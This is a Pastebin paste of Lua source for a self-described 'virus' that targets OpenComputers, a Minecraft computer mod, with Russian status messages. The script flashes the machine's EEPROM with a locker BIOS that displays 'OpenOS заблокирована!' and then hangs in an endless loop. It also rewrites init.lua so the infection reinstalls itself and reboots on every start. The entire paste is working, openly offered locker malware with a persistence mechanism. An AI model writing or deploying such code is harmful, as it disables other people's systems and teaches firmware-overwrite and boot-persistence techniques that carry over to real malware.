Advertisement
_GameDoctor_

Untitled

Aug 9th, 2021
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.52 KB | None | 0 0
  1. local virusPath = "bin/virus.lua"
  2. local EEPROMLabel = "EEPROM (Lua BIOS)"
  3.  
  4. ------------------------------------------------------------------------------------------------------------------------
  5.  
  6. local EEPROMCode = [[
  7.  
  8. local textLines = {
  9. "Это была ваша фатальная ошибка",
  10. "",
  11. "By 4empion",
  12. }
  13.  
  14. local component_invoke = component.invoke
  15. function boot_invoke(address, method, ...)
  16. local result = table.pack(pcall(component_invoke, address, method, ...))
  17. if not result[1] then
  18. return nil, result[2]
  19. else
  20. return table.unpack(result, 2, result.n)
  21. end
  22. end
  23. ---------------------------------------------------------------
  24. local eeprom = component.list("eeprom")()
  25. computer.getBootAddress = function()
  26. return boot_invoke(eeprom, "getData")
  27. end
  28. computer.setBootAddress = function(address)
  29. return boot_invoke(eeprom, "setData", address)
  30. end
  31.  
  32. do
  33. _G.screen = component.list("screen")()
  34. _G.gpu = component.list("gpu")()
  35. if gpu and screen then
  36. boot_invoke(gpu, "bind", screen)
  37. end
  38. end
  39. ---------------------------------------------------------------
  40.  
  41. local function centerText(mode,coord,text)
  42. local dlina = unicode.len(text)
  43. local xSize,ySize = boot_invoke(gpu, "getResolution")
  44.  
  45. if mode == "x" then
  46. boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  47. elseif mode == "y" then
  48. boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  49. else
  50. boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  51. end
  52. end
  53.  
  54. local function virus()
  55. local background, foreground = 0x0000AA, 0xCCCCCC
  56. local xSize, ySize = boot_invoke(gpu, "getResolution")
  57. boot_invoke(gpu, "setBackground", background)
  58. boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  59.  
  60. boot_invoke(gpu, "setBackground", foreground)
  61. boot_invoke(gpu, "setForeground", background)
  62.  
  63. local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  64. centerText("x", y, " OpenOS заблокирована! ")
  65. y = y + 2
  66.  
  67. boot_invoke(gpu, "setBackground", background)
  68. boot_invoke(gpu, "setForeground", foreground)
  69.  
  70. for i = 1, #textLines do
  71. centerText("x", y, textLines[i])
  72. y = y + 1
  73. end
  74.  
  75. while true do
  76. computer.pullSignal()
  77. end
  78. end
  79.  
  80. if gpu then virus() end
  81. ]]
  82.  
  83. local INITCode = [[
  84.  
  85. local backgroundColor = 0x262626
  86. local foregroundColor = 0xcccccc
  87.  
  88. do
  89.  
  90. _G._OSVERSION = "OpenOS 1.5"
  91.  
  92. local component = component
  93. local computer = computer
  94. local unicode = unicode
  95.  
  96. -- Runlevel information.
  97. local runlevel, shutdown = "S", computer.shutdown
  98. computer.runlevel = function() return runlevel end
  99. computer.shutdown = function(reboot)
  100. runlevel = reboot and 6 or 0
  101. if os.sleep then
  102. computer.pushSignal("shutdown")
  103. os.sleep(0.1) -- Allow shutdown processing.
  104. end
  105. shutdown(reboot)
  106. end
  107.  
  108. -- Low level dofile implementation to read filesystem libraries.
  109. local rom = {}
  110. function rom.invoke(method, ...)
  111. return component.invoke(computer.getBootAddress(), method, ...)
  112. end
  113. function rom.open(file) return rom.invoke("open", file) end
  114. function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  115. function rom.close(handle) return rom.invoke("close", handle) end
  116. function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  117. function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  118.  
  119. local screen = component.list('screen',true)()
  120. for address in component.list('screen',true) do
  121. if #component.invoke(address, 'getKeyboards') > 0 then
  122. screen = address
  123. end
  124. end
  125.  
  126. -- Report boot progress if possible.
  127. local gpu = component.list("gpu", true)()
  128. local w, h
  129. if gpu and screen then
  130. component.invoke(gpu, "bind", screen)
  131. w, h = component.invoke(gpu, "getResolution")
  132. component.invoke(gpu, "setResolution", w, h)
  133. component.invoke(gpu, "setBackground", backgroundColor)
  134. component.invoke(gpu, "setForeground", foregroundColor)
  135. component.invoke(gpu, "fill", 1, 1, w, h, " ")
  136. end
  137. local y = 1
  138. local function status(msg)
  139.  
  140.  
  141. local yPos = math.floor(h / 2)
  142. local length = #msg
  143. local xPos = math.floor(w / 2 - length / 2)
  144.  
  145. component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  146. component.invoke(gpu, "set", xPos, yPos, msg)
  147.  
  148. -- if gpu and screen then
  149. -- component.invoke(gpu, "set", 1, y, msg)
  150. -- if y == h then
  151. -- component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  152. -- component.invoke(gpu, "fill", 1, h, w, 1, " ")
  153. -- else
  154. -- y = y + 1
  155. -- end
  156. -- end
  157. end
  158.  
  159. status("Booting " .. _OSVERSION .. "...")
  160.  
  161. -- Custom low-level loadfile/dofile implementation reading from our ROM.
  162. local function loadfile(file)
  163. status("> " .. file)
  164. local handle, reason = rom.open(file)
  165. if not handle then
  166. error(reason)
  167. end
  168. local buffer = ""
  169. repeat
  170. local data, reason = rom.read(handle)
  171. if not data and reason then
  172. error(reason)
  173. end
  174. buffer = buffer .. (data or "")
  175. until not data
  176. rom.close(handle)
  177. return load(buffer, "=" .. file)
  178. end
  179.  
  180. local function dofile(file)
  181. local program, reason = loadfile(file)
  182. if program then
  183. local result = table.pack(pcall(program))
  184. if result[1] then
  185. return table.unpack(result, 2, result.n)
  186. else
  187. error(result[2])
  188. end
  189. else
  190. error(reason)
  191. end
  192. end
  193.  
  194. status("Initializing package management...")
  195.  
  196. -- Load file system related libraries we need to load other stuff moree
  197. -- comfortably. This is basically wrapper stuff for the file streams
  198. -- provided by the filesystem components.
  199. local package = dofile("/lib/package.lua")
  200.  
  201. do
  202. -- Unclutter global namespace now that we have the package module.
  203. --_G.component = nil
  204. _G.computer = nil
  205. _G.process = nil
  206. _G.unicode = nil
  207.  
  208. -- Initialize the package module with some of our own APIs.
  209. package.preload["buffer"] = loadfile("/lib/buffer.lua")
  210. package.preload["component"] = function() return component end
  211. package.preload["computer"] = function() return computer end
  212. package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  213. package.preload["io"] = loadfile("/lib/io.lua")
  214. package.preload["unicode"] = function() return unicode end
  215.  
  216. -- Inject the package and io modules into the global namespace, as in Lua.
  217. _G.package = package
  218. _G.io = require("io")
  219.  
  220. end
  221.  
  222. status("Initializing file system...")
  223.  
  224. -- Mount the ROM and temporary file systems to allow working on the file
  225. -- system module from this point on.
  226. local filesystem = require("filesystem")
  227. filesystem.mount(computer.getBootAddress(), "/")
  228.  
  229. status("Running boot scripts...")
  230.  
  231. -- Run library startup scripts. These mostly initialize event handlers.
  232. local scripts = {}
  233. for _, file in rom.inits() do
  234. local path = "boot/" .. file
  235. if not rom.isDirectory(path) then
  236. table.insert(scripts, path)
  237. end
  238. end
  239. table.sort(scripts)
  240. for i = 1, #scripts do
  241. dofile(scripts[i])
  242. end
  243.  
  244. status("Initializing components...")
  245.  
  246. local primaries = {}
  247. for c, t in component.list() do
  248. local s = component.slot(c)
  249. if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  250. primaries[t] = {address=c, slot=s}
  251. end
  252. computer.pushSignal("component_added", c, t)
  253. end
  254. for t, c in pairs(primaries) do
  255. component.setPrimary(t, c.address)
  256. end
  257. os.sleep(0.5) -- Allow signal processing by libraries.
  258. --computer.pushSignal("init") -- so libs know components are initialized.
  259.  
  260. -- status("Initializing system...")
  261. --require("term").clear()
  262. os.sleep(0.1) -- Allow init processing.
  263. runlevel = 1
  264. end
  265. ]]
  266.  
  267. local component = require("component")
  268. local args = { ... }
  269.  
  270. local function flashEEPROM()
  271. local eeprom = component.getPrimary("eeprom")
  272. eeprom.set(EEPROMCode)
  273. eeprom.setLabel(EEPROMLabel)
  274. end
  275.  
  276. local function rewriteInit()
  277. local file = io.open("init.lua", "w")
  278. file:write(INITCode, "\n", "\n")
  279. file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  280. file:write("require(\"computer\").shutdown(true)")
  281. file:close()
  282. end
  283.  
  284. if args[1] == "flashEEPROM" then
  285. flashEEPROM()
  286. else
  287. print(" ")
  288. print("Перепрошиваю BIOS...")
  289. flashEEPROM()
  290. print("Перезаписываю кастомный init.lua...")
  291. rewriteInit()
  292. print(" ")
  293. print("Вирус успешно установлен!")
  294. print(" ")
  295. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement